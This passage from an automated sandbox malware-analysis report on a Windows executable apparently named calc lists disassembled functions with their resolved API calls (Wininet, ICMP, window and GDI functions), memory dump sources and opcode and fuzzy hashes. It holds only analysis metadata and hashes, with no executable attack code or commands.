      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: FtpGetFileSize$Wininet.dll
      • API String ID: 2574300362-2899565566
      • Opcode ID: bf1f0fae169dbb848176434d40dda45f633b0226ec4bdb1ab3f46c69e1570896
      • Instruction ID: 6e2f1a3589dd496c4a574bc58a45a2a8ffee36e7460e454037f1e55863833db7
      • Opcode Fuzzy Hash: bf1f0fae169dbb848176434d40dda45f633b0226ec4bdb1ab3f46c69e1570896
      • Instruction Fuzzy Hash: 00D0C970641312EEEB204F61EC897137AF8AB51702F60887BB485D2261E778D444CA1E
      Function 0042FE9D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Wininet.dll,0042A74E), ref: 0042FEA8
      • GetProcAddress.KERNEL32(00000000,InternetOpenW), ref: 0042FEBA
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: InternetOpenW$Wininet.dll
      • API String ID: 2574300362-877548236
      • Opcode ID: 34b87f62cfdf380b8ccbfa36128968db94369e509c6d5735b559491f206b4e66
      • Instruction ID: 0d5205680ce1cf61959fbead00ef169317bcd9810b75d67f5dafcbe366c6e18d
      • Opcode Fuzzy Hash: 34b87f62cfdf380b8ccbfa36128968db94369e509c6d5735b559491f206b4e66
      • Instruction Fuzzy Hash: 3FD0C970641302EECB218F65E849B137AF8AF40707F6088BBB486D1261F778D944CA2E
      Function 0042FF60 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(ICMP.DLL,0042EE02,00000000), ref: 0042FF6B
      • GetProcAddress.KERNEL32(00000000,IcmpCreateFile), ref: 0042FF7D
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: ICMP.DLL$IcmpCreateFile
      • API String ID: 2574300362-275556492
      • Opcode ID: 448ed7840704bb0c97f5a272b10aeb282cfbf60d1182337d8a215b2e0715e45b
      • Instruction ID: bf7179da54abc46cd951648f6e6908f67397438e0fda1f0a3b4423561e902304
      • Opcode Fuzzy Hash: 448ed7840704bb0c97f5a272b10aeb282cfbf60d1182337d8a215b2e0715e45b
      • Instruction Fuzzy Hash: E6D0C970B84302EADB208F61D94971376E8AB04742FA0887BF486D1250EB78D844CE1D
      Function 0042FF12 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Wininet.dll,0042B04C,?,00000000), ref: 0042FF1D
      • GetProcAddress.KERNEL32(00000000,InternetCrackUrlW), ref: 0042FF2F
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: InternetCrackUrlW$Wininet.dll
      • API String ID: 2574300362-347599637
      • Opcode ID: e9d49308bcfc6781801864efc9e89498d0e92c33abf54bec09941dec22f01ff2
      • Instruction ID: 5ff5592ba0a425792e03ce43277024437636c0b2cb541ece127d41c82a77f44a
      • Opcode Fuzzy Hash: e9d49308bcfc6781801864efc9e89498d0e92c33abf54bec09941dec22f01ff2
      • Instruction Fuzzy Hash: 30D0C770651302EECB104F71D849B13B6F46B61703F50887BB445D1191E77CD454CB1E
      Function 0042FF39 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(kernel32.dll,0042E1E0), ref: 0042FF44
      • GetProcAddress.KERNEL32(00000000,GlobalMemoryStatusEx), ref: 0042FF56
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: GlobalMemoryStatusEx$kernel32.dll
      • API String ID: 2574300362-2840702992
      • Opcode ID: 94cea872562736caa615b9a265b0d0f8118fda40b181ffbbb9525ecd0ba62313
      • Instruction ID: 8a938186144a47b9956747278f1c4d40b4f4c98024efec04d135bd045ace993e
      • Opcode Fuzzy Hash: 94cea872562736caa615b9a265b0d0f8118fda40b181ffbbb9525ecd0ba62313
      • Instruction Fuzzy Hash: 95D0C770644702DEC7105F61D94971377E4AB41742F51887BF45AD13A6D778D448C71D
      Function 0042FFD5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Wininet.dll,0042FCCB,00479E08,0042A8BD,0047A12C,00479E08,00000000,?,00479E08,?,?,?,?,?,00401261,00000001), ref: 0042FFE0
      • GetProcAddress.KERNEL32(00000000,InternetCloseHandle), ref: 0042FFF2
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: InternetCloseHandle$Wininet.dll
      • API String ID: 2574300362-2671934185
      • Opcode ID: da7a4e695b75a524f41592d6218b4e95730e5d58a7a56d9fa048062187c07d0c
      • Instruction ID: 5f85477641528b649044d5b180d8833ed898c78725f852d861f6adab056468e1
      • Opcode Fuzzy Hash: da7a4e695b75a524f41592d6218b4e95730e5d58a7a56d9fa048062187c07d0c
      • Instruction Fuzzy Hash: 9BD0C970645303EEDB204F61D8497137AF8AB51706F608D7BB585D12A0EBB8C854CA1E
      Function 0042FFFC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Wininet.dll,0042FD4A,00000003,0042ABAC,?,00000000,00000000,00000000,?,00000000,00000002,00000000,00000002,?,?,?), ref: 00430007
      • GetProcAddress.KERNEL32(00000000,InternetOpenUrlW), ref: 00430019
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: InternetOpenUrlW$Wininet.dll
      • API String ID: 2574300362-1201172734
      • Opcode ID: 141d25df4eb92c3a49c7ef6aa85ce327791cac5de94b58be8ec3f37f1331c0b2
      • Instruction ID: 5a4cbaa502e8c8f1ab29dba965d814a9a2628aecf7a0e04567c8e0bf69dd12b8
      • Opcode Fuzzy Hash: 141d25df4eb92c3a49c7ef6aa85ce327791cac5de94b58be8ec3f37f1331c0b2
      • Instruction Fuzzy Hash: 5DD0C970641306FECB209FA1D8597137AFCAB48702F20D96EB486D1262E778D840CE1E
      Function 0042FF87 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(ICMP.DLL,0042EE92,00000000,00000101,?,00000000), ref: 0042FF92
      • GetProcAddress.KERNEL32(00000000,IcmpCloseHandle), ref: 0042FFA4
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: ICMP.DLL$IcmpCloseHandle
      • API String ID: 2574300362-3530519716
      • Opcode ID: 0028ad27e4753e6a7c9841a6e405e2d916431237add922c083a50b67822741ce
      • Instruction ID: 4ad17662a18769c5ca722e306ae6d49d0565d4f0a8ec4b6744b8708eb146cff8
      • Opcode Fuzzy Hash: 0028ad27e4753e6a7c9841a6e405e2d916431237add922c083a50b67822741ce
      • Instruction Fuzzy Hash: 70D0C970644302EFDB208F61D949B1B76E8AB00702F608C7BF487D2254EB78D494DA1D
      Function 0042FFAE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(ICMP.DLL,0042EE9F,00000000,00000101,?,00000000), ref: 0042FFB9
      • GetProcAddress.KERNEL32(00000000,IcmpSendEcho), ref: 0042FFCB
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: ICMP.DLL$IcmpSendEcho
      • API String ID: 2574300362-58917771
      • Opcode ID: 5c744039cc312e32fa68ca1fd5a98d9c5030e6167d7fc7856f0a5a5cb21ae833
      • Instruction ID: 2527bdccc761a368fe9d4b677af4fa62b435770a335d842e50a769aa11b7ee6a
      • Opcode Fuzzy Hash: 5c744039cc312e32fa68ca1fd5a98d9c5030e6167d7fc7856f0a5a5cb21ae833
      • Instruction Fuzzy Hash: 2BD0C970644302EADB208F61DA4971376E8AB00706F61887BF486D1A90EB78D444CB1D
      Function 00403AB0 Relevance: 6.1, APIs: 4, Instructions: 148COMMON
      Download Yara Rule
      APIs
      • GetClassNameW.USER32(00000000,?,00000400), ref: 00403AE7
      • GetWindowTextW.USER32(00000000,?,00000400), ref: 00403B25
      • CharUpperBuffW.USER32(?,00000000), ref: 00403B42
      • GetWindowTextW.USER32(00000000,?,00000400), ref: 00403BB0
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: TextWindow$BuffCharClassNameUpper
      • String ID:
      • API String ID: 4150757866-0
      • Opcode ID: d8c742284a62cca0cfe2f0d7f3300dba5fdb013f6cc35493e1cacb547e24c2a7
      • Instruction ID: 0584a30db60857092b00d2278fbf8332574566965ff49f28b8e04b70d15a5c85
      • Opcode Fuzzy Hash: d8c742284a62cca0cfe2f0d7f3300dba5fdb013f6cc35493e1cacb547e24c2a7
      • Instruction Fuzzy Hash: 19512172804549BEDB11DF50C945AEABBBCFF0431AF1480A7D405B2582DB38AF96CB94
      Function 004080B0 Relevance: 6.1, APIs: 4, Instructions: 119COMMON
      Download Yara Rule
      APIs
      • GetWindowRect.USER32(?,?), ref: 0040811D
      • InvalidateRect.USER32(?,00000000,00000000,?,?,?), ref: 00408185
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Rect$InvalidateWindow
      • String ID:
      • API String ID: 2377233956-0
      • Opcode ID: fea54292c0e1d2534fd66d1e25aac67a1e4b5e63873669762bc16cc831050328
      • Instruction ID: 74dc3bcb53b80da343a71e2514c747408086c0bef610d4d3420c968f332f9c05
      • Opcode Fuzzy Hash: fea54292c0e1d2534fd66d1e25aac67a1e4b5e63873669762bc16cc831050328
      • Instruction Fuzzy Hash: DD416D71900609EFCB15DF64C981AAEB7B1FF44310F10416EEA62BB2D1DB74AD61CB58
      Function 00406BB2 Relevance: 6.1, APIs: 4, Instructions: 119COMMON
      Download Yara Rule
      APIs
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CursorDeleteDestroyObject
      • String ID:
      • API String ID: 1476932828-0
      • Opcode ID: 1e5da546bdd14cc893a35634ba3a52cc5e227db2df9398bf0c0a04b3069a8235
      • Instruction ID: 5190c236cba640713588830f41552d92e9898bcea78dae1d236462c55c98861b
      • Opcode Fuzzy Hash: 1e5da546bdd14cc893a35634ba3a52cc5e227db2df9398bf0c0a04b3069a8235
      • Instruction Fuzzy Hash: C94193716043118FE724DF69D98896B77A8FF04315B16092FE982E3391C73DEC14CA99
      Function 004309C0 Relevance: 6.1, APIs: 4, Instructions: 114COMMON
      Download Yara Rule
      APIs
      • GetLastError.KERNEL32(?,00000000,?,00431DC7,?,00000001,NULL Pointer assignment,00000001,?,0045C6D0,?), ref: 00430A01
      • VariantCopy.OLEAUT32(-00000068,?), ref: 00430A57
      • VariantCopy.OLEAUT32(-00000058,00000008), ref: 00430A6C
      • VariantCopy.OLEAUT32(-00000078,00000008), ref: 00430A81
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CopyVariant$ErrorLast
      • String ID:
      • API String ID: 2286883814-0
      • Opcode ID: 5af0195bfadb05a0c3b1fb0af8056b65b133b5ffb26115bf59ef324aa679a039
      • Instruction ID: 74ec36ade127758d2b5d6a60e7b2c92c59a7636115ccca8a5f9d65f218e57e45
      • Opcode Fuzzy Hash: 5af0195bfadb05a0c3b1fb0af8056b65b133b5ffb26115bf59ef324aa679a039
      • Instruction Fuzzy Hash: 85416D71900209DFCB00DF69D954A9BB7F8FF48304F1445AAE809E7362EB78AD45CB99
      Function 004509A2 Relevance: 6.1, APIs: 4, Instructions: 113COMMON
      Download Yara Rule
      APIs
      • __lock.LIBCMT ref: 004509C4
        • Part of subcall function 0044C6DB: RtlEnterCriticalSection.NTDLL(?), ref: 0044C703
      • __lock.LIBCMT ref: 00450A10
      • RtlEnterCriticalSection.NTDLL(0000008C), ref: 00450A5A
      • RtlLeaveCriticalSection.NTDLL(0000008C), ref: 00450A67
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CriticalSection$Enter__lock$Leave
      • String ID:
      • API String ID: 885841014-0
      • Opcode ID: bda5e73e630093f5bdc100a74ef8f2279113054be542c85dc4145b3eb02c6880
      • Instruction ID: 6b8fed09be344907abc40a60ecb9e95b28ef36bf5e0b8bb1f7086c56b98dbfe0
      • Opcode Fuzzy Hash: bda5e73e630093f5bdc100a74ef8f2279113054be542c85dc4145b3eb02c6880
      • Instruction Fuzzy Hash: 8D4133759003068BDB24DF64D88575E7BE0AF11329F25872FE832962D2CB389989CB0C
      Function 0040C4BD Relevance: 6.1, APIs: 4, Instructions: 102COMMON
      Download Yara Rule
      APIs
      • BeginPaint.USER32(?,?), ref: 0040C4DF
      • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 0040C544
      • Rectangle.GDI32(?,00000000,00000000,?,?), ref: 0040C596
      • EndPaint.USER32(?,?,?,?,?,?,?,00000000,00000000,?,?,?,?,00000000,00000001), ref: 0040C5EE
        • Part of subcall function 0040D03A: MoveToEx.GDI32(?,?,?,00000000), ref: 0040D047
        • Part of subcall function 0040D03A: LineTo.GDI32(?,?,?), ref: 0040D05A
        • Part of subcall function 0040D03A: LineTo.GDI32(?,?,?), ref: 0040D063
        • Part of subcall function 0040D03A: LineTo.GDI32(?,?,?), ref: 0040D06C
        • Part of subcall function 0040D03A: LineTo.GDI32(?,?,?), ref: 0040D075
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Line$Paint$BeginMoveRectangleViewport
      • String ID:
      • API String ID: 2658531208-0
      • Opcode ID: b5603e31384557df77967fefead3580476fc508b409ebf9dc0690b9044ca4220
      • Instruction ID: c6e67966df92c8fb1309ec1158f403bbbcdfb1cf059d0a129d19c9ce180b40a5
      • Opcode Fuzzy Hash: b5603e31384557df77967fefead3580476fc508b409ebf9dc0690b9044ca4220
      • Instruction Fuzzy Hash: E3418C34500214FFDB109F65CC84BEEBBB5AF04720F1442AAE955AB2E2C778AD86DB14
      Function 00457BDC Relevance: 6.1, APIs: 4, Instructions: 93COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 0044D99A: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0044D9B4
        • Part of subcall function 0044D99A: GetSystemInfo.KERNEL32(?,?,?,0000001C), ref: 0044D9C5
        • Part of subcall function 0044D99A: VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C), ref: 0044DA0B
      • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,?,0045BBD8,00000000,?,00455B83,00000000,?,00000000,00000000,00000000,00000000,0045282B,0045BBD0), ref: 00457C22
      • MultiByteToWideChar.KERNEL32(00000000,00000009,00000018,?,00000000,00000000,?,00455B83,00000000,?,00000000,00000000,00000000,00000000,0045282B,0045BBD0), ref: 00457C3F
